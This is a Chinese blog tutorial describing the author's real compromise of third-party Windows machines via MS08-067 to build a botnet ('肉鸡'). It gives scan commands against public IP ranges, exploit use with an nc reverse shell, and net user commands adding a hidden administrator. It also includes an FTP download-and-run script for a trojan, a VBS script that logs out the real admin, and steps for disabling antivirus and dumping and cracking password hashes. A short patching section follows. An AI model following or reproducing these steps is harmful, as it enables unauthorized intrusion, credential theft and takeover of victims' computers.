利用MS08067远程溢出漏洞抓肉鸡

利用 MS08067 远程溢出漏洞抓肉鸡
陈小兵 antian365.com
   微软的正版验证机会出来以后没有多久,就爆出针对台湾和简体中文版本的 MS08067 漏洞,这个时候微软主动爆出这个号称比冲击波还要厉害的漏洞,是否针对我国,很多人都在怀疑,万事讲究证据,没有证据,也只能猜测!不过武器在别人手中,想怎么玩你,就怎么玩你!很多专家也对微软提供的更新中是否保护木马,诸如下载者等等表示怀疑和关注!网上也有说的微软是中国最大的黑客 , 就笔者个人经验来说,现在的 Linux 操作系统完全能够胜任常用的办公功能。闲话少说,俺给大家带来最新的 MS08067 远程溢出漏洞实战分析。
(一) MS08067 漏洞描述
MS08-067 漏洞的全称为“ Windows Server 服务 RPC 请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。 Microsoft Windows 2000 Windows XP Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击,目前已经有利用该漏洞的蠕虫病毒。防火墙最佳做法和标准的默认防火墙配置有助于保护网络资源免受从企业外部发起的攻击,默认情况下能建立空连接。
MS08-067 比冲击波还要厉害,通过本人的实际测试,扫描一个网段,至少数百台存在该漏洞的计算机,只要是中文版本的操作系统, Vista 除外,毫无幸免!
(二) MS08067 远程漏洞实际利用
1. 扫描 445 端口
关于 MS08067 漏洞目前还没有特别全面的分析报告,据相关资料称,只要扫描到开放 139 445 端口,就有可能利用该漏洞来实施远程溢出。因此首先我们使用工具软件扫描 445 端口,扫描的工具很多,我给大家介绍两种在 DOS 下面扫描的工具,一个是 sfind.exe 另外一个是 s.exe ,前者命令为“ sfind �Cp 445 ip 地址 1 ip 地址 2 ,例如扫描“ sfind �Cp 445 218.99.0.1 218.99. 0.255 ;另外一个的使用的推荐命令格式为“s tcp 218.99.0.1 218.99.255.255 445 512 /save ”,两个小软件扫描完成后自动保存结果,可以在肉鸡后台上进行工作,扫描完成后上去看结果即可。我采用 sfind.exe 对附近计算机进行 445 端口扫描,如图 1 所示,一共出来 7 台计算机,如果是大范围扫描,推荐使用后一种扫描软件,扫描速度快。
1 使用 sfind 扫描 445 端口
说明:
1 )由于扫描出来的结果比较少,所以直接看就可以了。如果结果比较多,可以到 sfind 扫描目录下直接打开 sfind.txt 扫描结果。
2. 使用 MS08067 溢出工具对结果进行溢出尝试
将获取的代码在 VC 中进行编译,将生成的程序重新命名为“ MS0867 ”,然后打开 DOS 操作界面,并将 MS08067.exe 程序复制到当前操作目录(今天有人问我,为什么直接双击 MS08067.exe 程序,无任何反应,唉,晕!),直接输入程序名称,即可出现具体的使用方式, MS08067 漏洞的使用方法为“ MS08067 IP 地址”, IP 地址为存在该漏洞的服务器或者个人计算机的 IP 地址。输入存在可能存在该漏洞的 IP 地址 218.*.*.* ,结果显示为“ SMB Connect OK! Maybe Patched! ”如图 2 所示。
2 对存在漏洞的服务器进行溢出
注意:
1 )在溢出过程还有多种提示例如“ Make SMB Connection error: 64
2 )出现“ Maybe Patched !”提示的计算机也可能溢出成功。
3 )仅仅对台湾和简体中文版本有效,对其他版本的服务器及时存在 445 漏洞也无法溢出,原因是操作系统溢出点内存地址不同。
3. 监听“ 4444 端口
在执行扫描的计算机上使用 nc 监听 4444 端口,具体命令为“ nc �Cvv ip 地址 4444 ,例如“nc �Cvv 218.69.*.2 4444 ,一次不成功的溢出显示结果为“nc -vv 218.22.27.71 4444
Warning: forward host lookup failed for 71.27.22.218.broad.static.hf.ah.cndata.com: h_errno 11002: TRY_AGAIN71.27.22.218.broad.static.hf.ah.cndata.com [218.22.27.71] 4444 (?): TIMEDOUT sent 0, rcvd 0: NOTSOCK” ,这说明 218.22.27.71 可能已经安装补丁、防火墙禁止对外进行连接等情况,导致溢出不成功。
说明:
MS08067 中可以定制监听端口,不过那个端口需要在源程序中定制。
4. 继续进行溢出
换另外一个 IP 地址执行溢出,重新监听该 IP 地址,如图 3 所示,出来我们比较熟悉的反弹 Shell 串口,终于看到了希望,我在本地虚拟机上执行了多次测试,都未成功,但在实际环境中却测试成功。
3 溢出成功
5. 查看服务器信息
对溢出的计算机先要看看其配置等信息,例如查看操作系统版本、系统配置情况等,然后决定是否对其进行控制等后续操作,如果仅仅是普通个人计算机,而且配置极差,控制住的意义都不大。在这里使用“ type c:\boot.ini ”查看操作系统类型,如图 4 所示,该服务器为 Windows 2003 企业版服务器,显然有进一步控制的必要了。
4 查看服务器版本等信息
6. 添加管理员账号
既然是服务器那就先添加一个管理员帐号吧,如图 5 所示使用“ net user king$ nohacker /add ”、“ net localgroup administrators king$ /add ”以及“ net localgroup administrators ”命令添加“ king$ ”用户,密码为“ nohacker ”,并查看是否将“ king$ ”用户加入到管理员组中。
5 添加一个用户到管理员组中
7. 上传文件
关于上传文件有多种方法,个人推荐 ftp 脚本法,即在某一个站点或者自己假设一个临时 Ftp 服务器,然后使用以下样本下载 ma.exe:
echo open 218.*.*.* >b
echo ftp>>b
echo ftp>>b
echo bin>>b
echo get ma.exe>>b
echo bye>>b
ftp -s:b
del b
将以上脚本在反弹的 shell 中直接粘贴即可从 Ftp 服务器上下载,然后可以在反弹的 Shell 中执行下载的文件。在本次渗透过程中,由于是相邻 IP ,因此使用了一个简便的方法,即单击“开始” - “运行”,在其中输入“ \\IP\admin$ ”或者“ \\IP\C$ ”并确定,如图 6 所示,如图能够连接,则会出现一个输入网络密码的提示框,在用户和密码中分别输入刚才添加的用户名。
6 打开网络连接
如果验证正确,则可以像使用资源管理器一样使用被溢出计算机所建立的磁盘连接,如图 7 所示,顺利打开该服务器上的 C 盘,然后将木马、获取系统密码、查看系统信息等工具软件直接复制过去即可。
7 打开被溢出服务器系统盘
8 .获取系统详细信息以及执行各种命令
使用 MS08067 溢出工具成功溢出服务器后,还可以使用“ telnet IP 地址 4444 连接被溢出服务器,如图8 所示,偶使用 telnet 进行了尝试,获取系统信息并开放了 3389 端口。
8 使用 telnet 连接被溢出计算机
说明:
1 )使用 telnet 连接被溢出计算机不如反弹 shell 好用,在 telnet 中有可能看不到输入,或者输入后反应较为迟钝。
2 )开放 3389 的方式有很多,网上有很多资料,这里使用别人给的一个工具,直接执行即可。
3 )可以使用以下脚本来查看对方服务器 3389 端口:
Echo Dim ReadComputerName >>port.vbs
Echo Set ReadComputerName=WScript.CreateObject("WScript.Shell") >>port.vbs
Echo Dim TSName,TSRegPath >>port.vbs
Echo TSRegPath="HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber" >>port.vbs
Echo TSName=ReadComputerName.RegRead(TSRegPath) >>port.vbs
Echo WScript.Echo("TermService port is:"^&TSName) >>port.vbs
Cscript port.vbs
9. 登录被溢出服务器
打开 mstsc 远程终端连接器,输入 IP 地址、刚才添加的用户名和密码,验证成功后,顺利进入服务器,如图 9 所示。
9 顺利进入被溢出服务器
10. 加固服务器
打江山容易,守江山难,一旦成功攻克服务器后,先对计算机的安全状况和安全措施进行查看和了解。根据个人经验先进行简单加固,如图 10 所示,就地取材,看看系统有什么杀毒软件,有无 360 卫士等,对系统的补丁进行修复,删除其它木马程序等。在本案例中,利用瑞星的漏洞扫描程序对系统的漏洞进行扫描,然后进行修复。
10 扫描系统漏洞并修复
注意:
1 )如果系统安装有瑞星等杀毒软件,使用 getpw 获取系统帐号会失败的,这个时候就想办法开放服务器的远程终端,登录系统后,禁用杀毒软件,然后使用 getpw 获取系统的 Hash 密码。 Getpw 获取密码的格式为“ getpw $local ”,获取 Hash 密码一定要在 shell 中,否则获取的 Hash 密码为空,将获取的值复制到 Txt 文件中,并去除内容中的空格,正确的格式如图 11 所示。
11 获取的密码 Hash
2 )如果被溢出服务器已经开放 3389 ,则登录后要注意管理员是否在线,以前网上有过批处理脚本,当管理员登录后,脚本会自动注销当前登录用户,感谢俺的好友“孤水绕城”提高了这样一个脚本,即:
on error resume next
set arg=wscript.arguments
If arg.count=0 then
wscript.echo "use:// cscript.exe FS.vbs port"
sleep 1000
wscript.quit
End If
Tport=arg(0)
Runs=false
While runs=false
Dim oShell,oExec,strOut,oRegExp,Matches,Match,Num,Tport
Set oShell = WScript.CreateObject("WScript.Shell")
Set oExec = oShell.Exec("netstat -an")
Set oRegExp = new RegExp
oRegExp.Pattern = "TCP[\s]+[\d\.]+:"&Tport&"[\s]+[\d\.]+:[\d]+[\s]+ESTABLISHED"
oRegExp.IgnoreCase = True
oRegExp.Global = True
Do While Not oExec.StdOut.AtEndOfStream
strOut = strOut & oExec.StdOut.ReadLine() & Chr(13) & Chr(10)
Loop
Set Matches = oRegExp.Execute(strOut)
Num = 0
For Each Match In Matches
Num = Num + 1
Next
if num > 1 then
Runs=true
oShell.run "logoff"
end if
Set Matches = Nothing
Set oRegExp = Nothing
Set oExec = Nothing
Set oShell = Nothing
Wend
11. 破解 Hash
这个俺就不多说了。直接使用 LC5 导入即可,要是还不会的,请关注本团队的一系列研究结果。破解 Hash 值的好处就是以后使用管理员的帐号和密码进行登录,当然还可以以防万一!
12. 继续溢出和推广使用方法
测试成功后,呵呵继续对扫描出来的结果进行了溢出,毫无疑问, Windows XP Window 2000 Server Windows 2000 Professional 以及 Windows2003 Server 均可成功溢出,如图 12 所示,溢出一台 Windows 2000 Server 。呵呵,好东西就应该跟大家分享,俺溢出成功后,就跟俺的好友们共享这个成功的溢出过程。
12 继续溢出其它类型服务器
(三)防范措施
1. 安装 360 卫士和升级系统补丁
首先就是升级系统补丁,推荐使用 360 卫士,使用其扫描即可,发现问题纠正问题即可。还有就是要及时升级 360 卫生的版本,在实际溢出过程中,我发现很多服务器上都安装了杀毒软件以及 360 卫士,但是其版本太低,未及时更新补丁程序,失去了应有的防范能力。
2. 安装防火墙
在本次溢出过程中,我们还发现存在防火墙的情况下,成功溢出的几率几乎为 0 ,因此推荐在系统中安装防火墙,对内外网防范都有效。
(四)总结与体会
本次测试几乎是在要放弃的情况下,偶是先进行了 MS08067 漏洞的本地测试,一个都没有成功,都想放弃了,后面打算放到实际环境中进行测试,未想一炮打响,再后来有一些改进的思路,偶做了录像,具体可以看录像,本人觉得可以将其修改跟 1433 自动抓肉鸡那个工具一样,自动扫描,自动溢出,自动执行下载程序,安全总在思维的突破!

本文出自 “simeon技术专栏” 博客,转载请与作者联系!

你可能感兴趣的:(漏洞,溢出,远程,利用,抓肉鸡,MS08067)